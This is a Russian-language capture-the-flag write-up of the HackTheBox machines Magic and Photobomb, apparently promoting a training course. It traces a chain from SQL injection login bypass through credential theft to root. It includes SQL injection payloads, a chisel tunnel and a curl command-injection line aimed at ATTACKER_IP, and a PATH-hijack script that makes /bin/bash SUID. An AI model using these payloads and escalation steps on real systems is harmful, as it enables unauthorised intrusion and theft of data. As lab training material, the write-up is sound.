SQL инъекция и эскалация привилегий на HTB: от обхода логина до root

Одна кавычка в поле логина — и через час у тебя root-шелл. Звучит как сценарий для кино, но на HTB-машине Magic именно так и вышло. Обход авторизации через SQL инъекцию открыл панель загрузки файлов, оттуда — реверс-шелл, файл db.php5 с кредами к MySQL, а из базы — пароль пользователя. Последнее звено — SUID-бинарь /bin/sysinfo, который вызывает утилиту lshw без абсолютного пути. Подмена переменной PATH — и привилегии root.
Разберём каждый шаг цепочки «SQL инъекция → утечка кредов → эскалация привилегий» на реальных HTB-машинах. Покажем, когда ручной подход информативнее sqlmap. И сопоставим с похожей цепочкой на машине Photobomb, где инъекция другая, а паттерн эскалации — тот же.
Окружение и инструменты для пентеста веб-приложений HTB
Проверьте до начала работы:
- Kali Linux 2023.x+ или Parrot Security. Ubuntu тоже подойдёт, но на Kali всё стоит из коробки — экономит полчаса на настройку
- RAM: минимум 4 ГБ (Burp Suite + браузер + терминал жрут прилично)
- Активное VPN-соединение с HTB через OpenVPN. Файл
.ovpnскачивается из профиля на сайте HackTheBox - Обязательные инструменты: nmap (сканер портов и сервисов), Burp Suite Community Edition (перехватчик HTTP-запросов — позволяет видеть и менять данные между браузером и сервером), netcat (
nc— утилита для подключения/прослушивания TCP-соединений), Python 3 (для получения реверс-шелла — обратного подключения от целевой машины к вашей) - Опциональные: sqlmap (автоматический сканер SQL инъекций — понадобится для сравнения с ручным подходом), chisel (TCP-туннелирование через HTTP — пригодится, если mysql-клиент недоступен на целевой машине), Ghidra (декомпилятор бинарных файлов — для анализа SUID-бинарей)
Перед стартом: ping 10.10.10.X должен показывать ответы от целевой машины. Нет ответов — перезапустите OpenVPN и проверьте, что .ovpn-файл актуален.
Разведка: находим точку входа для SQL инъекции в поиске уязвимостей
Первый шаг на любой HTB-машине — сканирование портов. Запускаем полное сканирование: nmap -p- --min-rate=1500 -oN ports.txt 10.10.10.X. Здесь -p- проверяет все 65 535 портов, --min-rate=1500 ускоряет процесс (nmap отправляет не менее 1500 пакетов в секунду), -oN сохраняет результат в файл.
Ожидаемый результат: открыты порты 22 (SSH) и 80 (HTTP). Стандартная конфигурация для веб-ориентированных задач на HTB.
Уточняем версии сервисов: nmap -p 22,80 -sC -sV 10.10.10.X. Флаг -sC запускает стандартные NSE-скрипты (набор автоматических проверок nmap — определение заголовков, редиректов, базовых уязвимостей), -sV определяет версии сервисов. На Magic результат показывает Apache на порту 80.
Открываем браузер, переходим на http://10.10.10.X. Галерея изображений, в подвале — ссылка на форму авторизации /login.php. Первая потенциальная точка входа.
Зачем проверять именно форму логина? По классификации OWASP Top 10 (стандартный список критических рисков веб-приложений, обновляется каждые несколько лет) инъекции занимают позицию A03:2021 — Injection. Любое поле, данные из которого попадают в запрос к базе без фильтрации, потенциально уязвимо: форма логина, поиск, фильтры каталога, URL-параметры. На Magic уязвима форма авторизации, но механика та же для любого поля ввода.
Пробуем admin:admin — ошибка «Invalid credentials». Включаем Burp Suite Proxy (вкладка Proxy → Intercept → включить перехват) и смотрим размер ответа: 4 639 байт. Запоминаем.
Теперь вводим admin' (с одинарной кавычкой) в поле username, пароль — любой. Размер ответа изменился: 4 587 байт вместо 4 639. Сообщение об ошибке авторизации исчезло. Кавычка «сломала» SQL-запрос на сервере, и приложение отреагировало иначе. Если бы параметры были экранированы или использовались параметризованные запросы (prepared statements — метод, при котором данные и SQL-команда передаются в базу раздельно), кавычка не повлияла бы на поведение.
Разница в 52 байта — именно то, что стоит замечать до запуска sqlmap. Приложение уязвимо к SQL инъекции.
Ручная SQL инъекция вместо sqlmap: обходим авторизацию
Форма логина реагирует на кавычку. Теперь нужно понять структуру серверного SQL-запроса и подобрать payload (полезную нагрузку — строку, которая изменяет логику запроса) для обхода авторизации. Это техника Exploit Public-Facing Application (T1190) по классификации MITRE ATT&CK — открытой базе тактик и техник атак, где T-коды вроде T1190 служат стандартными идентификаторами конкретных атакующих приёмов.
На стороне сервера запрос к базе формируется конкатенацией (склейкой) пользовательского ввода с шаблоном SQL:
-- Серверный код формирует запрос подстановкой из формы:
SELECT * FROM users
WHERE username = '$user' AND password = '$pass'
-- При вводе admin' or 1=1# в поле username:
SELECT * FROM users
WHERE username = 'admin' or 1=1#' AND password = ''
-- Символ # превращает остаток строки в комментарий (MySQL)
-- Условие 1=1 всегда истинно → БД возвращает все строки
Что здесь происходит: одинарная кавычка после admin закрывает строковый литерал для username. Конструкция or 1=1 делает условие WHERE всегда истинным — база вернёт записи всех пользователей. Символ # (в MySQL это начало однострочного комментария) обрезает оставшуюся часть запроса, включая проверку пароля. Результат: база отдаёт первую запись (обычно администратор) без верификации пароля.
Проверяем через Burp Suite: перехватываем POST-запрос к /login.php через Proxy → Intercept. В теле запроса меняем username на admin' or 1=1#, password оставляем произвольным. Нюанс, на котором часто спотыкаются: пробелы в URL-энкодинге передаются как + или %20, символ = как %3d, символ # как %23. Отправите payload без энкодинга — сервер может его неправильно распарсить.
Нажимаем Forward. В ответе — HTTP/1.1 302 Found с заголовком Location: upload.php. Код 302 — редирект. Сервер отправляет нас на страницу загрузки файлов: авторизация пройдена.
Без Burp можно проверить прямо в браузере: admin' or 1=1# в поле логина, любой текст в пароле, «Войти». Новая страница вместо ошибки — инъекция сработала.
Предусловия и ограничения:
- Работает если: приложение конкатенирует пользовательские данные с SQL-запросом напрямую, СУБД — MySQL (символ
#для комментария; в PostgreSQL нужен--), WAF (Web Application Firewall — фильтр, блокирующий вредоносные HTTP-запросы) отсутствует или не ловит SQLi-паттерны - Не работает если: применяются prepared statements или ORM (Object-Relational Mapping — библиотека, генерирующая безопасные запросы автоматически), WAF блокирует конструкции
or 1=1,'--,UNION SELECT
[Применимо: CTF-лабораторная среда, внешний/внутренний пентест веб-приложений с legacy-кодом на PHP/Python без ORM]
Когда ручная инъекция информативнее sqlmap
Казалось бы, проще запустить sqlmap -u "http://10.10.10.X/login.php" --forms --batch и пойти пить кофе. Иногда — да. Но на практике CTF-задач и реальных пентестов есть ситуации, когда руки быстрее автоматики.
Когда руки быстрее:
Нестандартная обработка ответов. sqlmap определяет успех инъекции по различиям в ответе — размер, текст, код. Если приложение возвращает 302-редирект при успешном логине (а не текстовое сообщение), sqlmap на --level 1 может не распознать это как индикатор уязвимости. На Magic именно так: ручная проверка через Burp показала разницу в размере ответа мгновенно.
Ограниченный бюджет запросов. На реальном пентесте rate limiting, WAF или IDS заблокируют IP после серии подозрительных запросов. sqlmap на --level 5 --risk 3 генерирует сотни payload’ов. Ручная кавычка — один запрос.
Понимание структуры запроса. Ручная инъекция заставляет думать: где закрывается кавычка, какой символ комментария использует СУБД, сколько столбцов в SELECT. Без этого знания на следующих шагах эксплуатации встанешь.
Когда sqlmap незаменим:
Извлечение больших объёмов данных — полный дамп базы с десятками таблиц. Blind-инъекции (boolean-based и time-based), где ручной перебор символов занимает часы. Автоматическое определение типа и версии СУБД по косвенным признакам.
Рабочее правило: обнаружение и подтверждение уязвимости — руками, масштабная эксплуатация — sqlmap. На Magic ручной подход дал auth bypass за один запрос.
Поиск админского пароля через SQL инъекцию и базу данных
После обхода авторизации мы на странице загрузки файлов (upload.php). Отсюда можно загрузить веб-шелл (T1505.003 — Web Shell: PHP-скрипт, исполняющий системные команды на сервере) через обход валидации расширения — двойным расширением legit.php.png. Детали загрузки шелла — тема отдельного разбора; считаем, что мы получили шелл как www-data (учётная запись, от имени которой работает Apache).
Первое действие в шелле — искать файлы с учётными данными. Веб-приложение подключается к базе, а значит, где-то в коде лежат креды. Команда grep -r "password" /var/www/ --include="*.php*" рекурсивно ищет слово «password» во всех PHP-файлах директории веб-сервера.
Результат: файл db.php5 содержит строку подключения к MySQL с логином theseus и паролем iamkingtheseus. Техника Credentials In Files (T1552.001) — учётные данные хранятся в открытом виде в конфигурационном файле. Встречается на удивление часто, и не только на CTF.
Дальше — подключиться к базе и вытащить данные (T1213.006 — Databases). На целевой машине может не быть клиента mysql, но mysqldump (экспорт содержимого базы в SQL-формат) часто присутствует:
# Предусловие: шелл от www-data, mysqldump доступен
# Флаг -p без пробела = пароль указан сразу после
mysqldump -u theseus -piamkingtheseus Magic
# Выводит полный дамп базы Magic в терминал
# Ищем таблицу login:
# INSERT INTO login VALUES (1,'admin','Th3s3usW4sK1ng');
su theseus
# Вводим пароль: Th3s3usW4sK1ng → успешный вход
Если mysqldump недоступен — альтернатива через туннелирование порта MySQL с помощью chisel. На атакующей машине: chisel server --reverse --port 8001. На целевой: ./chisel client ATTACKER_IP:8001 R:3306:127.0.0.1:3306. Теперь MySQL-порт целевой машины доступен как localhost:3306 на вашем Kali, подключаемся через mysql -u theseus -p -h 127.0.0.1. Пароль iamkingtheseus, далее USE Magic; SELECT * FROM login; — тот же результат.
Итого: пароль пользователя theseus — Th3s3usW4sK1ng. Команда su theseus с этим паролем даёт шелл от его имени. Переиспользование пароля — техника Local Accounts (T1078.003). Флаг user.txt в домашней директории — первый этап пройден.
Boolean-based SQL инъекция: пример посимвольного извлечения данных
На Magic мы обошли авторизацию одним payload’ом — In-Band инъекция в самом удобном варианте. А что делать, если приложение не выводит данные напрямую и не редиректит при успехе?
Boolean-based blind SQL инъекция (слепая логическая инъекция) работает через вопросы «да/нет», ответ на которые определяется по поведению страницы. Допустим, есть уязвимый параметр id в URL: ?id=5. Мы хотим узнать первый символ пароля администратора.
Отправляем: ?id=5 AND SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = 'a'. Функция SUBSTRING извлекает первый символ из результата подзапроса и сравнивает с буквой a. Угадали — страница загружается нормально (оба условия истинны). Не угадали — пустой шаблон, ошибка или изменённый контент.
Перебираем символы (a-z, A-Z, 0-9, спецсимволы) для каждой позиции и восстанавливаем пароль целиком. Для пароля длиной 14 символов при алфавите в 62 символа — до 868 запросов. Вручную это утомительно, и вот тут sqlmap становится незаменим: sqlmap -u "http://target/?id=5" -p id --technique=B --dump автоматизирует перебор и вытаскивает данные за минуты.
Ещё тише работает time-based вариант: ?id=5 AND IF(SUBSTRING(...) = 'a', SLEEP(5), 0). Вместо разницы в контенте измеряем задержку ответа: буква угадана — сервер «замирает» на 5 секунд. Незаметнее, но медленнее.
Предусловия:
- Работает если: приложение возвращает заметно разные ответы при TRUE и FALSE условиях (разный размер, код, наличие элемента), параметр инъекции подтверждён
- Не работает если: ответ идентичен при любом условии — тогда единственный путь через time-based с
SLEEP()илиBENCHMARK()
Эскалация привилегий Linux: от веб-пользователя до root на HTB
Шелл от theseus. Цель — root. Стандартная разведка привилегий.
Команда sudo -l проверяет, какие команды текущий пользователь может запускать через sudo (механизм исполнения команд от имени другого пользователя, обычно root). На Magic sudo для theseus не настроен — путь закрыт.
Переходим к поиску SUID-бинарей. SUID (Set User ID) — специальный бит файловой системы Linux: если у исполняемого файла установлен SUID-бит и его владелец root, то файл при запуске любым пользователем работает с привилегиями root. Мощный вектор эскалации привилегий. Команда: find / -perm -4000 -type f 2>/dev/null. Флаг -perm -4000 ищет файлы с SUID-битом, -type f — только обычные файлы, 2>/dev/null подавляет ошибки доступа.
В результатах — /bin/sysinfo. Нестандартный бинарь. Стандартные SUID-файлы вроде /usr/bin/passwd или /usr/bin/sudo безопасны — они специально разработаны для работы с повышенными привилегиями. А кастомный /bin/sysinfo стоит разобрать.
Запускаем strings /bin/sysinfo (выводит читаемые строки из бинарного файла) и видим вызовы системных утилит: lshw, fdisk, cat — все без абсолютного пути. Вместо /usr/bin/lshw написано просто lshw. Вот и уязвимость.
Когда Linux выполняет команду без абсолютного пути, система ищет исполняемый файл в директориях переменной PATH (список путей через двоеточие: /usr/local/bin:/usr/bin:/bin). Ставим свою директорию в начало PATH, кладём туда скрипт с именем lshw — система выполнит наш скрипт вместо настоящей утилиты. И выполнит с привилегиями root, потому что /bin/sysinfo запускается как SUID root.
# Предусловие: шелл от theseus, /bin/sysinfo — SUID root
# /bin/sysinfo вызывает lshw без абсолютного пути
cd /tmp
echo -e '#!/bin/bash\nchmod +s /bin/bash' > lshw
chmod +x lshw
export PATH=/tmp:$PATH
/bin/sysinfo
# Наш /tmp/lshw выполнился с правами root
# и установил SUID-бит на /bin/bash:
/bin/bash -p # флаг -p сохраняет привилегии
whoami # ожидаемый вывод: root
Наш скрипт lshw содержит одну команду: chmod +s /bin/bash — устанавливает SUID-бит на /bin/bash. После выполнения /bin/sysinfo (который вызвал наш lshw вместо настоящего) запуск /bin/bash -p (флаг -p говорит bash не сбрасывать эффективный UID) даёт root-шелл. Техника Exploitation for Privilege Escalation (T1068).
Предусловия и ограничения:
- Работает если: SUID-бинарь вызывает команды без абсолютных путей, пользователь может модифицировать PATH, директория для записи (например,
/tmp) доступна, AppArmor/SELinux не ограничивает запись и выполнение в/tmp - Не работает если: бинарь использует абсолютные пути (
/usr/bin/lshw), в sudoers заданsecure_path, среда исполнения очищает переменные окружения, илиnosuidустановлен на разделе/tmp
[Применимо: CTF-лабораторная среда, внутренний пентест Linux-инфраструктуры с legacy-конфигурацией]
HTB Photobomb writeup: другая инъекция — тот же паттерн эскалации привилегий
На машине Photobomb (рейтинг Easy) структура атаки похожа, но вектор входа — не SQL инъекция, а OS command injection (инъекция команд ОС — когда пользовательский ввод попадает в системный вызов вроде system() или exec() без фильтрации).
Первый шаг — обнаружение учётных данных. В исходном коде страницы http://photobomb.htb/ находим подключаемый JavaScript-файл photobomb.js. Внутри — захардкоженные (вшитые в код) креды: pH0t0:b0Mb! для доступа к /printer через HTTP Basic Auth. Та же техника T1552.001 (Credentials In Files), что и db.php5 на Magic, только обнаружение через JavaScript (T1059.007).
Страница /printer позволяет скачивать фотографии в разных форматах. Параметр filetype в POST-запросе передаётся серверу (Ruby-фреймворк Sinatra) и подставляется в системную команду convert (утилита ImageMagick) без экранирования. Payload filetype=jpg;curl ATTACKER_IP:8000 добавляет команду curl после точки с запятой — bash выполняет обе команды последовательно. Если на атакующей машине запущен nc -lvnp 8000, мы получаем подтверждение: command injection работает. Подставив Python-реверс-шелл вместо curl, получаем интерактивный шелл от пользователя wizard.
Для эскалации: sudo -l показывает, что wizard может запускать /opt/cleanup.sh от root без пароля. В скрипте — вызов find без абсолютного пути. Тот же паттерн PATH hijacking, что на Magic, приводит к root.
Ключевая разница: на Magic инъекция в SQL-запрос (данные подставляются в команду к СУБД), на Photobomb — в команду ОС (данные попадают в bash-вызов). Оба типа относятся к одной категории OWASP: A03:2021 — Injection. Ошибка одна — пользовательский ввод попадает в исполняемый контекст без фильтрации. Паттерн эскалации тоже общий: находим бинарь или скрипт с повышенными привилегиями, вызывающий команды без абсолютных путей, подменяем PATH — root.
Цепочка атаки на карте MITRE ATT&CK
Полная kill chain (последовательность действий атакующего от первого контакта до цели) на HTB Magic по техникам MITRE ATT&CK:
| Этап | Техника | T-код | Что произошло |
|---|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 | SQL инъекция в форме логина, обход авторизации |
| Persistence | Web Shell | T1505.003 | PHP-шелл через загрузку файла с двойным расширением |
| Credential Access | Credentials In Files | T1552.001 | Пароль MySQL в файле db.php5 |
| Collection | Databases | T1213.006 | Извлечение пароля пользователя через mysqldump |
| Privilege Escalation | Local Accounts | T1078.003 | Переключение на учётную запись theseus через su |
| Discovery | System Information Discovery | T1082 | Обнаружение SUID-бинаря /bin/sysinfo |
| Privilege Escalation | Exploitation for Privilege Escalation | T1068 | PATH hijacking → root shell |
Каждая строка — конкретное действие, которое можно зафиксировать и обнаружить. Для тех, кому интересна защитная сторона: SQL инъекцию детектируют WAF-правила и анализ логов Apache, появление нового .php-файла в директории загрузок видно через File Integrity Monitoring, а PATH hijacking выявляется аудитом SUID-бинарей (find / -perm -4000) и мониторингом изменений переменных окружения через auditd.
На Photobomb цепочка почти идентична: T1552.001 (креды в JS) → OS command injection (вместо T1190/SQLi) → T1068 (PATH hijacking). Понимание этой структуры ценнее запоминания конкретных payload’ов — паттерн повторяется на десятках машин.
За два года регулярного прохождения HTB-boxes одна мысль возвращается снова и снова: автоматизация не заменяет понимание. Я видел, как новички запускают sqlmap на каждую форму, получают Parameter is not injectable и сдаются. А потом одна кавычка в Burp показывает разницу в 52 байта, которую sqlmap на дефолтном уровне просто не считал значимой. Проблема не в инструменте — sqlmap отличный. Проблема в подходе: если ты не понимаешь, почему admin' or 1=1# работает на MySQL, но ломается на PostgreSQL (там # не комментарий, нужен --), ты не адаптируешься, когда шаблонный payload не подойдёт.
Цепочка «инъекция → креды → эскалация» — не абстракция из учебника. Она встречается на Magic, Photobomb, и ещё на десятках HTB-машин разного уровня. Меняются СУБД, тип инъекции, способ эскалации — структура та же. Кто понимает структуру, решает новые машины за часы. Кто копирует payload’ы из writeup’ов — застревает при первом отклонении от шаблона. Если writeup’ы интересны, но не хватает системной базы — на IB Basics на codeby.school разбирают именно «как разобраться», а не «запомните терминологию».
Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.